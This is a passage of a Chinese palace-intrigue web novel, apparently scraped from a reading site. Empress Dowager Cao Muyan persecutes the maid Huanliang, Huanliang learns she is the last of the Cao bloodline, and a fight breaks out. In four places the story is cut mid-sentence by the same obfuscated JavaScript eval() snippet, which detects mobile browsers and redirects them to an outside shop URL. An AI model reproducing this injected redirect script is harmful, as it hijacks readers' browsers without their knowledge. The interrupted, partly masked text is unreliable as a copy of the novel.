“那个贱婢不能走!” 曹暮烟话音刚落,便从四面八方涌出了几个黑衣暗卫拦住了他们的去路。 “仅凭此并不能说明这件事不是这贱婢做的。”曹暮烟的声音越发的阴冷。 沧月接过曹暮烟的话道:“指不定是这贱婢从宫外引进来的一岁一枯荣,毕竟厢房里的书只有这贱婢接触过。” 月无双闻言,火气噌噌上冒,这一对老妖怪太可恶了! “你这是什么意思?证据不足就想耍无赖么?”袭匀怒。 曹暮烟看着袭匀面若白玉的脸上浮现的怒意,再看到被他护在怀中的欢凉,脑海中再次浮现二十几年前的那一幕,大夏被灭,那安莫霖就是这样护着莫虞从她身边经过,不管她怎样哀求,那个人始终都没有给她一个眼神。 恨意铺天盖地而来,她的双眸血红一片,十指紧握,厉声道:“今日这个贱婢必须得死!” 安文夕右手不动声色的摸向腰间的七节鞭,她已经好久没有动过手了! 曹暮烟的眸光瞥见了安文夕的动作,讥讽道:“安文夕,就是为了你肚子里的孩子,哀家劝你不要跟哀家作对!” “有本宫在,谁也别想动欢凉!” “哼,那你也得有这个能力!”曹暮烟不屑冷嗤,她的眸光微敛,顿时又涌出了一批黑衣暗卫,将她们包围了起来。 欢凉不顾脸颊火辣辣的疼,咬牙道:“曹太后,我欢凉人就在这里,你要杀要剐,我悉听尊便,你不要为难公主!” “哼,倒是有骨气,来人,给哀家拿下!” 安文夕还没有抽出腰间的七节鞭就被人按住,只见袭匀将欢凉护在身后,上前一步道:“有我在,谁敢动她!” 曹暮烟的怒气肆意翻滚,阴毒的盯着袭匀,尖利的声音中似乎有抹同意,“阿袭,你这是在逼哀家么?” “这件事是我袭匀一个人做的,和欢凉无关。” “好,好,你执意护她,哀家就成全你!来人,拿下!” 曹暮烟身后的沧月看着被暗卫扣下的袭匀,嘴角不经意间流露出一抹解恨的笑意。 “袭匀,你这是在做什么?”欢凉怒道。 “就是救不了你,我也会陪你一起。”袭匀深深地看了她一眼。 然后他转眸对安文夕道:“小师妹,你别担心,我会保护好欢凉,你先回未央宫。” 安文夕看了眼紧拥着欢凉的袭匀,眸光流转,再看到曹暮烟眼底疯狂的怒意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603687|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中渐渐明了,只怕袭匀越是保护欢凉,曹暮烟越是不会放过欢凉。 “公主,你不要和他们硬碰硬,你不是对手。”欢凉看了眼身侧的黑衣暗卫劝道。 “还愣着做什么,拿下!” “慢着!”安文夕厉声道,然后靠在袭匀耳边说了几句话,袭匀脸色立变。 “不行!”袭匀听完安文夕说的话立即反对,他这会恨不得杀了那老妖婆,怎么能…… “这事没得商量!”安文夕推了他一把道。 袭匀清冷的脸上半晌攒出了一抹浅淡的笑意,不舍的松开了欢凉,抬眸看向曹暮烟道:“烟儿,难道连我求情你也不肯答应么?” 曹暮烟神色蓦地一滞,眉头微敛,她身后的沧月脸色一变,放在曹暮烟腰间的手不觉间加大了几分力道。 “你为了她求哀家?” “烟儿,她是我的师妹,我答应过师父,要保护她。”袭匀一步步朝曹暮烟走去。 沧月看着怒气渐消的曹暮烟,不禁大怒,厉声道:“来人,拦住他!” “慢着!”曹暮烟微微抬手,红唇轻扬,“当真?” “当真!”袭匀走到她身边,瞥了眼沧月然后不动声色的揽住曹暮烟,浓郁的脂粉味令他眉头略皱。 安文夕嘴角的弧度逐渐扩大,这个曹暮烟对袭匀不是一般的纵容,她的决定果然是对的。 曹暮烟眉眼之间有丝得意,轻挽了袭匀的胳膊,似嗔似怒道:“阿袭,不许再有下次。” “好,那你现在放了欢凉。” “不行,虽然她死罪可免,但活罪难逃!”曹暮烟微微靠在了袭匀身上,俨然一副小女子之姿,看的月无双鸡皮疙瘩阵阵迭起。 一旁的傅太医不知道什么时候悄无声音的退出了长乐宫,直觉告诉他他再待下去,指不定会看到什么不该看的东西。 “曹暮烟高傲的瞥了眼欢凉,就先将她关在她整理书籍的厢房吧。”然后她靠在袭匀耳边小声道,“接下来就得看你的表现了,若是你让哀家满意了,说不定哀家一高兴就会放了她,若是你再敢忤逆哀家的话,那么她……” “烟儿放心,阿袭定然不会让你失望。”然后他朝安文夕递了个放心的眼神。 “皇贵妃请吧,哀家的长乐宫太吵了!” 安文夕握了握欢凉的手,略略福身,“臣妾告退。” 沧月看着袭匀怀中的曹暮烟,脸色铁青,紧抿着嘴角一言不发,烟儿明明就知道那袭匀就是有目的的接近她,为什么还会对他那么纵容,难道是因为那个人么? 待袭匀和曹暮烟走进内室,沧月扫了眼一旁的暗卫一眼,厉声道:“怎么样,那个人找到了么?” 那暗卫立即单膝下跪道:“禀告沧总管,至今还没有发现那个人的下落。” “凤青轩呢?” “属下查了,那凤青轩并没有什么不妥,平时做的是青楼的营生。” “潇湘馆呢?”提到潇湘馆,沧月的脸色有阴郁了几分,眉头不自觉皱起。 “也没发现异常。” 第190章 免死令牌 第一百九十章免死令牌 “废物!这也没发现,那也没发现,咱家要你们何用?滚!”沧月抬脚将那人踹翻,捧起拂尘绝尘而去。 那人不甘心的从地上爬起,看向沧月的背影有几分轻蔑,不过是一个靠着太后娘娘而活的假太监罢了,身份比他们这些暗卫还低贱,凭什么轻贱他们? 现在,那袭匀一来,他就得靠边站了,竟然还将火气发在他们头上! 月无双扶着安文夕出了长乐宫,便一直苦着一张脸。 “夕姐姐,你说,曹太后那老妖婆会放了欢凉么?” 安文夕淡淡摇了摇头,凭她对曹暮烟的了解,曹暮烟一旦盯上了欢凉,就绝不会放过她! 月无双脚步一滞,“既然这样,夕姐姐为什么还要将欢凉留在长乐宫?大不了我们去闯长乐宫,救出欢凉?” “曹太后手下暗卫无数,刚才长乐宫的那些暗卫不过是九牛一毛,仅凭我们几人,根本不能救出欢凉。” “可是,难道我们要眼睁睁的看着欢凉等死么?”月无双抿了抿唇自责道,“都怪我,我不该从枫月谷带来那么多乱七八糟的东西,不然就不会让曹太后有机可乘了。若是我哥知道了,定然会打死我的。” “这件事不怪你,就是没有一岁一枯荣,还会有别的东西,这曹太后想让欢凉死,要的不过是个理由罢了。” “可是,夕姐姐,现在我们就没有办法了么?” “没有。”安文夕微微垂眸。 她在等,等着曹暮烟将事情闹大,闹到前朝,然后她到时拿出免死令牌来,逼着曹暮烟在朝臣面前放了欢凉。 待安文夕和月无双回到未央宫的时候,陌姑姑一直守在宫门口,看到安文夕回来,神色一松,“没事吧,欢凉呢?” “我没事,欢凉还在长乐宫。” “曹暮烟不肯放了她?” 安文夕点头,“曹暮烟已经认出了欢凉的身份,自然不会善罢甘休。” “身份,什么身份?”月无双好奇道。 安文夕看了她一眼道:“你也折腾了一天了,去歇着吧。” 月无双努了努嘴,欲言又止,最终还是点了点头,转身回了自己的房间。 安文夕刚踏进主殿,看到殿内的子目,微微一惊,眸光微敛,冷道:“你怎么还在这里?” “我赶了,她不走。”陌姑姑看了眼子目,眸光清冷。 “公主,是不是欢凉出事了?” “这和你无关。” “公主,虽然子目做了对不起您的事,但是子目和欢凉从小一起长大,子目不能眼睁睁的看着她出事。” 安文夕拧眉道:“我说了这事和你无关,你走吧。” “公主……” “不必再说。”安文夕微微转身。 子目上前一步道:“公主,若是您想从长乐宫劫出欢凉的话,一定要告诉子目,子目一定会全力相助。” “这件事我自有主张,你先回去吧。” 子目抿了抿唇道:“好,子目告退。” 陌姑姑看着子目的背影,走上前来道:“本宫瞧着这个人颇有心计,不是良善之人,你多多提防着点。” “多谢陌姑姑提醒,子目是什么样的人,我再了解不过。”安文夕微微蹙眉,虽然陌姑姑是好意,但是她毕竟和子目相处十年,听她这样说子目,心里多多少少还是有些不舒服。 “希望你了解。”陌姑姑淡扫了她一眼,“欢凉的事情你心里是怎样打算的?”看她不急不躁的样子,想必心里已经有了对策。 安文夕从袖中掏出一枚免死令牌,递给陌姑姑。 陌姑姑接过令牌顿时大惊,这枚免死令牌可是大夏先祖亲自打造的,然后赏赐给了开国有功之臣,直到那些有功之臣百年之后才收回来的。这免死令牌一共才三枚,全部封藏在了皇陵之中,没想到他竟然给了她一枚! “你打算用它救欢凉?”这岂不是大材小用。 安文夕点头,“这是我最后的希望了。” 陌姑姑眸光深深,将手中的免死令牌还给了安文夕,不禁喃喃:“没想到他将这个都给了你。” 安文夕盯着手中的免死令牌一阵微滞,这免死令牌有什么不妥么? “本宫累了,你好自为之。”陌姑姑垂眸,掩去眼底的沧桑。 待陌姑姑走到门口之时,安文夕似乎明白了什么,盯着她的背影道:“陌姑姑放心,我不会负他的。” 陌姑姑脚步一顿,然后出了主殿。 长乐宫。 袭匀和曹暮烟进了内室,沧月紧锁着那紧闭着的门,眸光幽深。 半晌,内侍开门出来,看到立在门外的沧月行了一礼道:“沧总管。” “你去做什么?” “太后娘娘说想要饮酒,特地吩咐奴婢去拿酒。” “饮酒?”沧月顿时大惊,烟儿身怀有孕,怎么可以饮酒? 那内侍看着沧月脸色大变,顿时解释道:“太后娘娘说想念果酒的味道了,果酒不醉人的。” 果酒也不行! 沧月怒气冲冲的推开了门,却看到曹暮烟拈起一块苹果递到了袭匀嘴边。 “阿袭,你吃。” “烟儿,你也吃。”袭匀也拈起一块苹果递给了曹暮烟。 二人听到沧月推门的动静,忙停下了手中的动作,曹暮烟脸上浮起的柔色渐渐敛去。 “你怎么来了?” “我若是再不来,你就被这个袭匀给迷惑了。”沧月痛心道,她明明还怀着他的孩子,怎么可以和别的男人如此亲密的在一起。 袭匀闻言,手中原本递到曹暮烟嘴边的苹果顿时滚了下去,曹暮烟微不可见的皱了皱眉头,略略不悦道:“该怎么做,哀家自有分寸,你下去吧!” “烟儿……” “怎么,你想来干涉哀家么?” “我不敢。” “既然不敢,那就下去!”曹暮烟声音渐冷。 “回太后娘娘,果酒拿来了。”刚才的那位内室微微福身。 曹暮烟眼皮也未抬,说道:“呈上来。” 沧月一把将果酒夺走,沉声道:“你的身子不能饮酒。” “只是果酒,无碍的。” “那也不行!” 曹暮烟闻言脸色顿时一冷,袭匀忙劝道:“既然沧总管不让烟儿饮酒,那就不喝了。” “不喝?怎能不喝?”曹暮烟厉声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603688|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“哀家的事情何时轮到你来插手了,来人,将沧月给哀家带走!” 随着曹暮烟话音一落,几个黑衣暗卫从暗处蹿了出来,夺下沧月手中的酒壶恭敬的递给曹暮烟,然后将沧月带离了房间。 曹暮烟扫了眼立在一旁的内侍,淡道:“你也下去吧。” “是。”那位内室退了出去,并轻轻掩上了门。 “烟儿,沧总管也是为了你好,这酒我们就不喝了吧。”袭匀将曹暮烟手中的就放在桌上道。 “哀家怎能败了阿袭的兴致,这酒自然是要喝的。”曹暮烟说着拔掉酒塞,给袭匀倒了一杯。 “我敬烟儿。” 一杯接着一杯,虽然果酒不醉人,曹暮烟双颊仍然浮现了一抹嫣红。 “阿袭,阿袭,哀家是不是醉了?” “你醉了。”袭匀接住欲倒下来的曹暮烟,眼底尽是一片厌恶,右手扣上了曹暮烟的脖子,咬了咬牙,还是放了下来。 谁知,下一瞬,曹暮烟紧紧攥住了他的衣袖,使劲的往他怀中贴,像是要汲取更多温暖一般。 浓浓的脂粉味道令袭匀一阵作呕,立即一把抱起她,扔到了床上。 而曹暮烟依旧紧紧的攥着他,嘴里喃喃:“莫霖,莫霖……你不要走……” “莫霖?安莫霖?安国君?小师妹的父皇?” 难道她一直都把他当做安莫霖么? 突然,曹暮烟突然睁开了眼睛,看了眼四周,又看向袭匀道:“阿袭,哀家怎么会在床上?” “你醉了,睡吧。”袭匀转身欲走。 “不要走!”曹暮烟一把抓住了袭匀的手,蓦地将他拖上了床,“留下来,陪哀家。” 袭匀没有防备,被曹暮烟拽上了床,他没有想到的是曹暮烟的力气大的惊人。 在他还没有反应之际,曹暮烟整个儿贴了过来,紧紧的搂住了他。 袭匀看着酒壶微微皱眉,谁知曹暮烟却笑了,“你下的药对哀家没用的。” 袭匀双拳微握,蓦地出手,抬手砸到曹暮烟的后脑勺上,然后一把掀开她,长长的出了一口气,转身掠出了房间。 此时的偏殿厢房内,一片黑暗,寻不见半盏灯火,欢凉抱着双膝发呆。 半晌,房门突然被人推开,欢凉警觉出声:“谁?” “臭丫头,是我。”袭匀手中提着油灯走了进来。 “你怎么来了?”他现在不应该是被那个老妖婆缠着的么? “听你的口气好像是不欢迎我来似得。”袭匀有些委屈的撇撇嘴。 “你来做什么?”欢凉皱眉。 这丫头从来就不知道知恩图报! 袭匀磨牙,“我来看看你**没?” “放心,死不了。” “嗯,死是没死,就是丑了点,不过我是不会嫌弃你的。” “我嫌弃你,身上臭**,离我远点。”欢凉微微挡住了鼻子。 袭匀想起刚才曹暮烟往他怀中钻的事情,脸色一滞,果然没有再靠近欢凉,从怀中摸出一个小瓷瓶,扔给欢凉,“一会你自己涂涂,万一破了相,就真的没有人会看上你了。” 欢凉接过小瓷瓶,哼了一声道:“不用你操心。” 第191章 我不稀罕 第一百九十一章我不稀罕 “一会就有人来了,你赶紧走吧,我在这里没事。”欢凉对袭匀说道。 “别忘了涂药。”袭匀嘱咐了一句,便掠出了房间,一抹素白衣摆在眼前一逝而过。 欢凉握着手中的药,在昏黄的灯光下,拔开塞子,一股清凉的气息萦绕在她的鼻翼。 她的脑海中却蓦地浮现另一张俊逸的面庞,那个人身上似乎也是这样一种淡淡的清凉药香。 欢凉蓦地一滞,飞快的将那张俊逸的脸庞赶出脑海。她倒出小瓷瓶里的药,慢慢的涂到脸上。 袭匀出了房间,身形一掠,跃上了房顶,他还真怕那曹暮烟会偷偷的对欢凉动手。 他微微垂眸,小师妹说她会有办法,不知道到底是怎样的办法。 一夜无眠,第二日一早,袭匀颇有些疲惫的从房顶下来,看了眼紧闭的房门,然后回了未央宫。 安文夕刚用过早膳,看见袭匀满脸的疲惫,问道:“守了一夜?” 袭匀淡淡点头。 “给你的药可给曹暮烟下了。” “下了,小师妹你到底想做什么?” “救欢凉。” “怎么救?”袭匀急道。 “你等着就知道了,你先休息一会,然后出宫帮我走一趟。” “去做什么?” “去太师府和右相府走一趟,请黎太师和易大人进宫。”安文夕微微敛眸,这本是后宫之事,不该闹到前朝,但是曹暮烟阴险狡诈,反复无常,只怕那免死令牌她是不会认的。而黎太师三朝元老,为人公允,虽无实权,但是在朝中极有威望。右相易寒,是北宫喆的心腹,有他们见证,那曹暮烟就是想不认也不行。若想救欢凉,也只有这一个办法了。 虽然不知道她的葫芦里卖的什么药,但是袭匀还是点了点头。 他回头瞥见了一旁的月无双,不禁愤愤,“要不是你这个死丫头,欢凉也不会遭这个罪了,你说你没事为何要从枫月谷带来那么多的稀奇古怪的**!” 月无双脸色一滞,咬唇道:“我……你还说我,你也好不哪去!” “我怎么了?我还牺牲了自己去色诱那个老妖婆呢!”袭匀磨牙。 “那老妖婆就是见你对欢凉那么好,才会吃醋,非得为难欢凉!”月无双撅嘴道。 “好了,都别吵了,该干嘛就干嘛去!” 安文夕本就一夜无眠,脑子混沌一片,如今听他们在这里争吵,不禁觉得一阵脑仁疼。 长乐宫。 曹暮烟醒来,头疼欲裂,身边早就没有了袭匀的影子,昨晚那一切宛若镜花水月,美好而不真实。 “沧月……” 过了半晌,沧月也没有像以前那样打开房门进来。 曹暮烟微微蹙眉,厉声道:“来人!快来人!” 内室听到房间的动静,忙开门道:“太后娘娘。” “沧月呢?” “回太后娘娘,昨晚沧总管被您关起来了。” 曹暮烟按了按眉心,似乎有这么一件事。 “你去给哀家煮碗醒酒汤。”曹暮烟再次闭上了眼睛,现在她头疼欲裂。 “是。” “慢着,让沧月过来给哀家按按额头。” 过了半晌,沧月端着一碗醒酒汤走了过来,看着曹暮烟无力的躺在了床上,微微闭着眼睛,不由得叹了口气,她又何必作践自己,当年受的伤还不够么? “烟儿,喝药了。”沧月坐在床榻上轻唤道。 曹暮烟睡得很熟,并伴有轻轻的鼾声,沧月一阵无奈,放下了药碗,又给她扯了扯被子,直到她睡醒,又将醒酒汤热了一次,才喂她喝下。 曹暮烟拥着被子,喝着沧月喂的醒酒汤,突然问道:“阿袭呢?” 沧月闻言,指尖轻颤,勺子里的汤汁尽数洒在了被子上。 曹暮烟不悦的皱了皱眉,“他去找那丫头了?” 她的眼底划过一抹狠戾,如今她知道了阿袭喜欢那丫头,那么,那丫头就更不能留! “烟儿,你这又是何苦?”沧月嘴角噙起苦涩。 曹暮烟饮尽了碗中的醒酒汤,眸光轻垂,她之所以如此纵容袭匀,不过是始终都放不下罢了,她一直在想,如果当年她的行为没有那么疯狂,如果她多一点点妥协与放手,那个人会不会就会选她了呢? “你现在要不要吃点东西。” 曹暮烟摇了摇头,掀起身上的被子道:“伺候哀家更衣吧。” “你想去哪?” “自然是去看看那个丫头!”曹暮烟恨恨道,“有些事情她也该知道了!” —— 因为北宫喆特许易寒可以自由出入宫廷,故而袭匀很轻松的带着易寒来到了未央宫。 “微臣参见皇贵妃娘娘,不知皇贵妃娘娘叫微臣前来所为何事?” “也没什么大事,只不过想让易大人帮我一个忙。”安文夕微微避开了易寒的眸光,楚君昱曾经以易寒的身份多次出手相救,她多少有些不自然。 末了,她看向袭匀道:“黎太师呢?” “府里的人说,黎太师一大早就进宫了。” “进宫?”安文夕凝眸,难道是曹太后招黎太师进宫了? “何时进宫的?” “听太师府的下人说,黎太师寅时就进宫了。” 袭匀话音刚落,便传来了月无双焦急的声音,“夕姐姐,不好了不好了,曹太后醒了,她去找欢凉了!” 安文夕微微点头,只见月无双急道:“夕姐姐,我们赶紧去啊,曹太后已经去了一会了。” 安文夕眸光一沉,看向易寒道:“易大人,麻烦你跟本宫走一趟长乐宫吧。” “微臣遵旨。” 偏殿厢房。 欢凉已经醒来,双颊上的红肿已经消得差不多了,她还没有来得及起身,便听到了一阵脚步声,不禁警惕起来。 “吱呀……” 房门被打开,一抹光亮顿时照进了房间,在晨曦下的曹暮烟更加明艳动人,一如既往地妖艳,一如既往地邪佞。 曹暮烟的眸光落在欢凉身上时,不屑冷哼,“这贱婢在这里过得还挺舒坦!” 欢凉咬牙行了一礼道:“欢凉见过太后娘娘。” 谁知,曹暮烟却上前一步,虚抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608758|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了欢凉一下,然后指间流连,落在她的下巴处,金玉掐丝指套微微一抬。 “这脸上的伤一好,倒是能看得出来是个美人胚子。” 尖锐的指套末端划在脸上,微微有些痛意,欢凉眸光轻垂,咬了下唇。 曹暮烟拿捏的力道刚好可以留她的脸上留下红痕却不会划破皮肤。 “仔细看来,倒真是和我那大嫂有几分相似,按辈分,你还应当叫哀家一声姑姑呢。” 这个问题再次被提了起来! 欢凉心中一惊,蓦地抬眸,对上曹暮烟妖冶的双眸,她的黑瞳倏然一缩。 “你别再骗我了,我是不会上你的当的。” “呵呵……不管你信也罢,不信也罢,你都是曹家唯一的血脉。” “绝不可能,公主说了我是一个弃婴!”欢凉声音陡然变大,似乎想要证实她说的是真相一般。 “公主?那是安文夕骗你的。”曹暮烟巧笑倩兮,“你若是乖乖听哀家的话,哀家这就封你做荣华郡主,大夏没有公主,你一旦做了荣华郡主,身份高贵无比,也不必再去做丫鬟伺候人了。” “我不稀罕!”欢凉冷冷的看了她一眼,恨恨道,“你说的我一个字都不会信,你就别再浪费功夫了!” “真是倔,和我那大哥的性子一模一样!”曹暮烟的声音蓦地变冷。 欢凉垂眸不去看她,曹暮烟看着她不屑的神色,不由得怒从心生,厉声道:“去请黎太师过来。” 黎太师?欢凉眸光微敛,这曹暮烟想玩什么把戏? 黎正一大早就被曹暮烟一道懿旨招进了宫中,他十分不喜曹太后但是却不得不奉旨进宫,谁知进了宫,却一直被凉到了现在,不知道这妖后又要耍什么把戏! 说来,他与这曹太后还有姻亲关系,当年他的长女嫁于曹家嫡长子为妻,而曹暮烟是曹家庶出二小姐。谁能想到一场大火让当年盛极一时的曹家上下三百口人全部遭受灭顶之灾,当时他的女儿正怀胎十月,将近临盆!事后多年,曹家仅存的那个卑怯的二小姐如今却是大夏尊贵无双的太后娘娘,真是物是人非! 可是有一点他至今都还想不通,当今皇上励精图治,勤政爱民,是一个好皇帝,这曹太后辛辛苦苦将他扶持上位,也该颐养天年了,而她为何要**后宫,把持朝政呢? 看着她趁皇上不在朝的日子的行为大有废黜皇上的意思,而皇上和太后娘娘也不甚亲和,难道皇上当真不是太后娘娘的亲生子么? 黎正已是古稀之年,听到传报,略略蹒跚着脚步走来。 曹暮烟等了许久,才见黎正慢悠悠的朝这边走来,脸色有些不悦,冷冷开口,“黎太师来了,可是让哀家久等。” “微臣参见太后娘娘,让太后娘娘久候多时,还请太后娘娘恕罪。”黎正福身行礼道。 “黎太师不必多礼,今日让黎太师来,是想让黎太师认一个人。” “太后娘娘请说。” “这个人,黎太师是否认识。”曹暮烟抬眸看向欢凉。 待黎正的视线落到了欢凉的脸上,他的脸色顿时一变,难以置信道:“婻儿,不,这不是婻儿……” 第192章 他回来了 第一百九十二章他回来了 虽然这个女子长得和婻儿十分相似,但是他知道眼前之人并不是婻儿,这个女子看起来不过是十五六岁,而她的婻儿早在十五年前就葬身火海了! 婻儿?黎太师口中的名字是那日画上的乔婻么?那黎太师是那乔婻的父亲? 曹暮烟突然出声道:“黎太师是否觉得眼前的女子像极了已逝的令嫒?” 黎正微微点头,看向曹暮烟嘴角深深的笑意,似乎明白了什么,惊道:“难道,她是……” “哀家也觉得这丫头长得像大嫂,可是哀家告诉这丫头,她是曹家唯一的血脉,她还不信,现在经过黎太师的确认,这下这丫头总该相信了吧。” 欢凉看着黎太师有些湿润的眼眶,难以置信的后退了两步,这黎太师为人刚正不阿,他自然不会被曹暮烟收买,可是,这真相突如其来,她难以接受…… “不,我不相信。” “孩子……”黎正看着欢凉眼底的拒绝,心顿时被揪了起来,不禁上前两步。 “我不是,我只是一个弃婴,你们认错人了。” “孩子,外公怎么会认错,你和你娘长得太像了!”黎正此时眼眶湿润一片,没想到婻儿还在世上给他留下了一个外孙女,他这辈子也无憾了! 欢凉连连后退,不想去接受这个现实,看着一步步朝她走来眼眶发红的黎正,心中却泛起阵阵酸涩来。 此时她的心里已经相信了她是曹家遗留的血脉,可是她却想着逃避这个身份而不去接受! “欢凉,哀家怎会骗你,你就是曹家的血脉。哀家挺喜欢你这个丫头,你若是以后肯服侍哀家,哀家保证让你从此金枝玉叶。”曹暮烟别有深意的勾了勾唇。 欢凉看了眼笑得妩媚的曹暮烟,黑瞳骤缩。 黎正感受到欢凉不再排斥他,握住欢凉的手不禁有泪纵横,“孩子,你不是弃婴,外公带你回家。” 然后,他转身对曹暮烟道:“多谢太后娘娘,帮助微臣寻回了外孙女!” 欢凉眸光敛尽,恨恨的看向曹暮烟,咬牙道:“谢她做什么,你可知当年曹家灭门惨丨案,是她一手策划的!” 这一句话,犹如一记重锤狠狠的砸在了黎正的心中,他不可置信的抬眸,浑浊的双眸顿时变得凌厉起来。 “你说什么?” “这是她亲口说的,还能有假?”欢凉厉声道。 “呵呵……”曹暮烟蓦地笑了,明艳的红唇更加妖邪。 “你说的不错,那曹家灭门的事的确是哀家做的!” “你,你……”黎正颤着双手,指着曹暮烟气愤的说不出话来,那是生她养她的曹家,她怎么能下得去手! “他们都该死!”曹暮烟的声音阴毒无比,“但凡欺辱过哀家的人都该死!” 黎正愤恨的盯着曹暮烟,隐忍着怒气道:“简直丧尽天良!” “丧尽天良么?真是抬举哀家了。”曹暮烟娇笑道。 “当年是他们对不起我!尤其是那个女人,她根本就不配称作母亲!”曹暮烟说着眼底泛出点点血红,“所以哀家就用火慢慢的点燃了她,看着她不断的在地上打滚,哈哈哈……你们不知道向来高高在上的曹夫人竟然像一只狗一样在哀家的脚下痛苦挣扎!” “够了!”黎正怒斥道,原来对面的女人竟然如此心如蛇蝎。 “没够!这怎么能够?就这么让她**岂不是便宜了她?哀家将她一寸寸剁成了烂泥喂狗!还有你爹,曹家的嫡长子,从小就被众星捧月,从来就不正眼瞧哀家一眼,哀家就让他死无全尸,将他抛入虿盆,还有你娘……” “够了,别说了!”欢凉厉声道。 “不,哀家偏要说,还有我那大姐,她不是向来最爱惜她的那张脸么,哀家就给她毁了!哈哈哈……曹家的人都**,**,以后再也没有人可以欺负哀家了!”曹暮烟双眸血红,整个人变的癫狂起来。 “烟儿……”沧月立即察觉出了曹暮烟的异常,立即伸手去拉她,谁知却被她一手甩开。 她的双眸血红,皮肤下面枯藤乱窜,这是要入魔的前奏! 今天是四月二十八,离月初还有两日,烟儿怎么会入魔? “啪——”一记响鞭,顿时吸引了众人的视线。 只见欢凉握着鞭子,恨恨的看着曹暮烟,曹暮烟被欢凉这突如其来的一鞭打的一个趔趄,沧月立即接住了她。 欢凉出手又快又狠,黎正根本来不及拦住欢凉,看着欢凉紧握的双拳,不由得一阵痛心道:“孩子,你怎么那么冲动?”曹太后虽然丧心病狂,但是她如今毕竟是太后,鞭打太后,可是死罪! “她该打!”她现在还想杀了她! 曹暮烟看着血淋淋的肩膀,恨恨咬牙:“你这个贱婢,竟然敢打哀家!”她的双眸沁血,肩膀因为剧痛而微微颤抖。 片刻,曹暮烟的掌心突然飞出两条枯藤,缠向欢凉,她眼底的狠戾恨不得将欢凉生吞活剥! 沧月脸色顿时一变,烟儿怎么能在外人面前入魔,尤其还是在黎太师的面前。此时再看黎太师,已经完全惊住,双眸紧紧锁着烟儿掌心飞出的枯藤。 “住手!”安文夕姗姗来迟,立即用七节鞭缠住曹暮烟掌心中的枯藤,狠狠一拉。 “烟儿,小心——”沧月飞快的拉住了曹暮烟的手腕,才使得她稳住身形。 曹暮烟掌心里的枯藤蓦地一收,从七节鞭中脱离,她看向安文夕的眼神多了分毒辣,掌心中的枯藤肆意的朝安文夕涌起,却都被安文夕一一打回。 “护驾护驾!来人,保护太后娘娘!”沧月急道,随着他的一声令下,立即从四面八方涌出来一批黑衣暗卫,将曹暮烟护在了身后。 “小师妹,我来帮你!”袭匀飞快的掠身来到安文夕身前。 “夕姐姐,无双也来了!” 一旁的易寒看了眼眉眼清冷决绝的安文夕,再看了眼阴毒惊悚的曹暮烟,眸光轻垂。 安文夕张开十指,然后慢慢收紧,握紧了手中的七节鞭,摆出了攻击的姿势,欢凉立即急道:“公主,你快回来,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608759|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身怀有孕,这怎么可以……” 欢凉的话音未落,曹暮烟就率先发动了攻击,她的身形隐在黑衣暗卫之后,可以轻而易举的甩出枯藤来攻击众人,而众人却难以碰她分毫! 不多一会,安文夕就明显落于下风,而袭匀和月无双分别和黑衣暗卫缠斗起来。 “噗——”月无双不敌,被一个黑衣暗卫一掌击飞,喷出一大口鲜血。 “无双!”欢凉立即掠身而去,一把接住月无双,小心的将她放了下来,接着她护在安文夕身侧道,“公主,欢凉来帮你!” 安文夕轻轻点头,而前方却突然飞来一条枯藤,直直冲向安文夕的小腹处。 “公主,小心!”欢凉一把抓住了那条枯藤,谁知,另一条枯藤却越她而去,迅速的缠住了安文夕手中的七节鞭,然后顺着鞭身,攀上安文夕的腰腹,死死地钳住她的身形。 安文夕立即护紧了小腹,双脚撑地,拽住了缠绕着她的枯藤。 谁知,曹暮烟的身形却突然移动到了安文夕的身前,速度快至令人看不清她的脚步。 “你们都**吧!都**!”她掌心的枯藤蓦地收紧,似乎想将安文夕整个勒断。 “嚯——” 剑光一闪,寒芒凛人,缠绕着安文夕的枯藤顿时被斩做了两半。 